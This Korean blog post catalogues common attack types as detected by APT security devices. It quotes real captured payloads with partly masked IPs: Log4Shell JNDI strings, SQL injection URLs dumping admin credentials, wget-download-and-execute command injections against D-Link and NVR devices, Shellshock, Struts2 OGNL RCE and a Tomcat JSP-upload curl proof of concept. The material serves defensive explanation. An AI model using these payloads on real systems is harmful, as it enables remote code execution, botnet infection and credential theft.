해킹 공격 유형별 분석 포스팅
특정 APT 보안 장비 에서 실제 탐지 되는 다양한 해킹 공격 유형에 대해서 알아 보겠습니다.
아래 내용 외에도 수많은 해킹 공격 방법이 있으나 잘알려진 대표적인 유형에 대해서만 기술 하였습니다.
APT 보안 장비 벤더별 탐지 rule 명칭은 다소 차이가 있음
각 취약점에 대한 방지 대책은 별도로 기술 하지 않겠습니다.
Log4j log4shell 취약점 해킹 공격
APT Device Detection Name (탐지명)
CVE-2021-44228 – OGNL EXPLOIT – HTTP(REQUEST)
POSSIBLE HTTP HEADER OGNL EXPRESSION EXPLOIT – HTTP(REQUEST)
POSSIBLE USERAGENT RCE EXPLOIT – HTTP (REQUEST)
IPS Detection Name (탐지명)
C1000001: HTTP: JNDI Injection in HTTP Header or URI
실제 공격 형태
requestClientApplication field
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://1XX.XX.XX.XX:1389/TomcatBypass/Command/Base64/..VybCA3...............FkLnNoIHwgYmFzaA==}
${jndi:ldap://8X.1XX.2XX.XX:1534/Basic/Command/Base64/......MTE3LjI1Mi44My9saC5zaHx8d2dldCAtcSA.........3LjI1Mi44My9saC5zaCl8YmFzaA==}
${${lower:jndi}:${lower:rmi}://X50.XX6.1X.X8:1389/TomcatBypass/Command/Base64/.......S4xMTguMjM2L3NzaGRfcHR5OyBjdXJsIC1PIGh0dHA6Ly8xNTguMTAxLjExOC4yMzYvc3N.........c2hkX3B0eTsgLi9zc2hkX3B0eSBleHBsb2l0}
${jndi:rmi://c7...bd1cl2d0kug1......pdp1.interact.sh}
requestUrl field
http://4X.4X.XX.X01/${jndi:ldap://1XX.140.99.X6:1389/Exploit}
http://XX.XXX.X.10X:8080/?x=%24%7Bjndi%3Aldap%3A%2F%2F14X.XX.2XX.X8%3A1389%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCA3Mi40Ni41Mi4x.....HwgYmFzaA%3D%3D%7D
http://xx.xxxxgames.com/?x=${jndi:ldap://${hostName}./a}
http://X.2XX.X8.X5/solree/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D.c7lvppsmrdbbf1h....sf4eoy586..c.oast.site/a%7D
Log4j는 아파치 소프트웨어 재단에서 개발한 Java 로깅 라이브러리
java 기반 어플리케이션 로그를 남기기 위해 사용되며, 대부분의 자바 프로그램이 Log4j를 사용 인기있는 라이브러리
JNDI(Java Naming and Directory Interface)을 이용한 취약점
JNDI와 LDAP을 통해 RCE(원격 코드 실행)을 허용한다는 것이 이번 취약점의 핵심
SQL Injection 공격
SQL Inject – HTTP (Request)
실제 공격 형태
http://abc.xxxx.com/xxx/view.php?article_id=-1%20UNION%20ALL%20SELECT%201,2,3,0x53514c2d4974696f6e2d54657374,5,6,7,8,9
http://abc.xxxx.com/xxx/suworkplay.php?ID=-1)%20UNION%20ALL%20SELECT%200x4f70656e5641532d6e6a656374696f6e2d54657374,2,3,4,5,6,7,8,9,10,11%23
http://abc.xxxx.com/xxx/xl_stats/download.php?id=2+AND+1=2+UNION+SELECT+1,2,3,4,0x53514c2d374696f6e2d54657374--
http://www.xxx.com/news/types_read.php?uid=209301&class=7%22%20or%20(1,2)=(select*from(select%20name_const(CHAR(111,108,111,108,111,115,104,101,114),1),name_const(CHAR(111,108,111,108,111,115,104,101,114),1))a)%20--%20%22x%22=%22x
http://ab.cd.com/wapq.php?action=list&id=1%20or%20@%60%27%60=1%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+%60%23@__admin%60%20+limit+0,1),1,62)))a%20from%20information_schema.tables%20group%20by%20a)
웹 어플리케이션 보안 상의 허점을 의도적으로 이용해, 악의적인 SQL문을 실행되게 함으로써 데이터베이스를 비정상적으로 조작하는 공격
보안이 취약하여 sql injection 이 가능한 웹사이트의 경우 DB 민감정보(개인정보)를 모두 해킹 당할수도 있는 무서운 공격입니다.
Directory Traversal (디렉토리 경로 탐색 및 조작 공격)
Directory Traversal Exploit Attempted – HTTP (Request)
실제 공격 형태
http://xxx.abc.com/..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
http://xxx.abc.com/..\..\..\..\..\..\windows/win.ini
http://xxx.abc.com/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F
웹서버 설정상의 오류나 중요 파일의 경로 오류를 이용하여 디렉토리 리스팅을 통해 특정 파일에 접근하거나 중요 정보를 획득 하는 공격.
크로스사이트 스크립팅 공격(XSS)
WebScript Injection – HTTP (Request)
실제 공격 형태
http://www.xxx.com/popup/findOrder.asp?page=&year=&month=&seyear=&semonth=&sgdname=<script>alert("XSS_TEST")</script>
http://www.xxx.com/cscenter/qa_list.asp?page=&searchTitle=&SearchContent=&searchValue=""><script>alert(""xss%20test"");</script>
http://abc.xxx.com/index.php?file=Liens&op="><script>window.alert('test');</script>
http://abcde.co.kr/blog/blogs.php?tag=gameCat+<script>alert(/openvas-xss-test/)</script>
게시판이나 웹 메일 등에 악의적인 스크립트를 삽입하여 비정상적인 페이지가 보이하여 타 사용자의 사용을 방해하거나
악의 적인 목적으로 사용자의 쿠키 및 세션등을 탈취 하는 해킹 공격.
Commandline Injection Attack (명령어 주입 공격)
Wget Commandline Injection
http://12x.x.20.x/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://1x7.x9.2x.1x2/ex.sh;chmod%20777%20ex.sh;sh%20ex.sh
http://aax.x.com/maker/snwrite.cgi?mac=1234;wget%20http://x9.xx.22x.xx/airlink.sh%20-O%20/tmp/666trapgod;chmod%20777%20/tmp/666trapgod;./tmp/666trapgod
http://aax.x.com/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Password%3E$(cd%20/tmp;%20wget%20http://2xx.1x1.33.1x9/avtechsh%20-O%20d4rk;%20chmod%20777%20d4rk;%20sh%20d4rk)&password=admin
http://aax.x.co.kr/login.cgi?cli=aa%20aa%27;wget%20http://x4.2xx.3x.7x/bins/Solstice.mips%20-O%20->%20/tmp/.Solstice;chmod%20777%20/tmp/.Solstice;/tmp/.Solstice%20dlink%27$
DLINK Command Injection Exploit – HTTP (Request) – Variant 2 / D-Link 라우터의 다양한 취약점 공격
/login.cgi?cli=aa%20aa%27;wget%20http://8x.2x.1x.2x/x%20-O%20-%3E%20/tmp/x;sh%20/tmp/x%27$
/login.cgi?cli=aa%20aa%27;wget%20http://10x.28.3x.x7/bins/Solstice.mips%20-O%20->%20/tmp/.Solstice;chmod%20777%20/tmp/.Solstice;/tmp/.Solstice%20dlink%27$
VACRON Remote Code Execution Exploit – HTTP (Request) / VACRON 레코딩, CCTV 모니터링 시스템등
NVR,DVR Device 취약점 공격
/board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://8x.xx.2x3.x0/bins/rift.arm7;chmod+777+rift.arm7;/tmp/rift.arm7+vacron
시스템 명령어를 호출하는 어플리케이션의 인자 값을 조작하여 의도하지 않은 시스템 명령어를 실행시키는 공격 기법
취약한 어플리케이션을 통하여 사용자의 명령어 시스템에서 임의적인 명령을 실행시키는 것을 목적으로 하는 공격
Shell shock 취약점 공격 (GNU Bash 환경 변수 명령 주입 취약점)
CVE-2014-6278 – SHELLSHOCK HTTP Exploit
Shell command – HTTP (Request)
Remote Code Execution – HTTP (Request) – Variant 2
실제 공격 형태 (1차적으로 cgi 실행 취약점을 활용)
http://2x.254.x15.x2:80/tmUnblock.cgi
http://x9.xx.15x.x30/cgi-sys/entropysearch.cgi
requestClientApplication:() { _; OpenVAS-VT; } >_[$($())] { echo Content-Type: text/plain; echo; echo; PATH=/usr/bin:/usr/local/bin:/bin; export PATH; id;}
공격자 요청 헤더 정보
실행코드 예:
submit_button=&change_action=&action=&commit=&xtcp_num=2&xtcp_size=2&xtcp_ip=-h `cd /tmp;echo "#!/bin/sh" > excode1.sh;echo "wget -O excode2.sh hxxp://1xx.2x.1xx.x6/ferry/rev12.sh" >> excode1.sh;echo "chmod +x excode2.sh" >> excode1.sh;echo "./excode2.sh" >> excode1.sh;chmod +x excode1.sh;./excode1.sh`&StartEPI=1
shell shock 취약점은 Bash 셸에서 함수를 처리하는 과정의 버그를 이용
시스템에 GNU Bash가 설치되어있다고 해서 무조건 공격에 영향을 받는 것은 아니며 환경변수를 통해 Bash를 호출할 수 있는 프로그램
또는 스크립트가 시스템 내에 존재할 경우 취약점에 영향을 받는 특성을 가지고 있다
취약점이 존재 한다면 무슨 코드이든 실행 할 수 있게 된다. (예: root 계정 탈취)
heartbleed 하트블리트 취약점
Possible Malformed Heartbeat SSL Response – Class 1
Possible Malformed Heartbeat SSL Response – Class 2
실제 공격 형태
![](https://i0.wp.com/52.78.171.83/wp-content/uploads/2023/07/image-119.png?resize=640%2C250&ssl=1)
[출처: KISA]
OpenSSL 암호화 라이브러리의 하트비트(Heartbeat)라는 확장 모듈에서 클라이언트 요청 메시지를 처리할 때 데이터 길이 검증을 수행하지
않아 시스템 메모리에 저장된 64KB 크기의 데이터를 외부에서 아무런 제한 없이 탈취할 수 있는 취약점
하트비트란 클라이언트와 서버 간의 연결 상태 체크를 위한 OpenSSL 확장 모듈
피해 범위
메모리 정보 획득이 가능하기 때문에 https 서버 메모리에 있는 “웹 사용자 정보”가 노출될 수도 있으며 “사용자 세션을 하이재킹” 할수도
있다. (특정 OpenSSL 버전만 해당됨)
Brute force 공격 (무차별 대입 공격)
Possible Brute force – FTP
실제 공격 형태 (초단위 x회 이상 무차별 대입 시도)
![](https://i0.wp.com/52.78.171.83/wp-content/uploads/2023/07/image-120.png?resize=640%2C144&ssl=1)
모든 암호(패스워드)조합을 무차별 대입 시도하는 다소 기초적인 방식의 해킹 공격
하지만 단순한 암호는 충분한 시간만 주어진다면 모두 대입이 가능하고, 특정 단어나 패턴이 유추 가능할 경우엔 더욱 취약해질 수 있습니다.
공격자들은 대입에 소요되는 시간을 줄이기 위해 사전에 있는 단어를 우선 시도하는 이른바 ‘사전 공격’을 수행하기도 합니다
Apache Struts2 원격 코드 실행 취약점 공격
CVE-2018-11776 – APACHE STRUTS RCE EXPLOIT – HTTP (Request)
실제 공격 형태
http://www.youxoo.co.kr:80/%25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ognlUtil%3d%23container.getInstance(%40com.opensympho
http://x4.x4.57.122:8080/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwor
http://ab.cd.com:8080/%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runt
공격 성공 화면
![](https://i0.wp.com/52.78.171.83/wp-content/uploads/2023/07/image-121.png?resize=640%2C264&ssl=1)
Struts 프레임워크의 중심부에서 신뢰할 수 없는 사용자 데이터의 유효성이 충분치 않아 발생한다.
이는 잠재적 원격 코드 실행으로 이어질 수 있는 OGNL expression이 발생한다.
공격자는 Struts 구성에 따라 리소스(예: 문서)를 식별하는데 사용되는 URI 쿼리의 OGNL 식을 사용하여, 악성 HTTP 요청을 보내 위와같이
서버에서 원격 코드(cat /etc/passwd)를 실행할 수 있습니다.
Apache Tomcat 원격 코드 실행, 정보 노출 취약점
CVE-2017-12615 – APACHE TOMCAT Remote Code Execution via JSP Upload – HTTP (Request)
실제 공격 형태
http://5x.2xx.x2.57:8080/indexweb4.jsp/
http://2x.x7.15.x62/dbe_put1.jsp/
http://www.xxx.com:8088/FxCodeShell.jsp/
POC 과정 (git 참조)
Exploit using ‘curl’:
- Create a .jsp file (e.g. test.jsp):
<% out.write("<html><body><h3>[+] JSP file successfully uploaded via curl and JSP out.write executed.</h3></body></html>"); %>
- Perform the curl command on target server:
curl -X PUT http://target-host-or-ip-address:port/test.jsp/ -d @- < test.jsp
- Check if your file is uploaded by browsing to the target address or:
curl http://target-host-or-ip-address:port/test.jsp
– PUT 메소드를 사용하여 HTTP 요청을 보낼 때 이를 조작하여 jsp 파일을 서버에 업로드할 수 있는 원격 코드 실행 취약점
대표적인 해킹 공격 유형에 대해서 포스팅한 자료이니 부디 도움이 되었으면 합니다.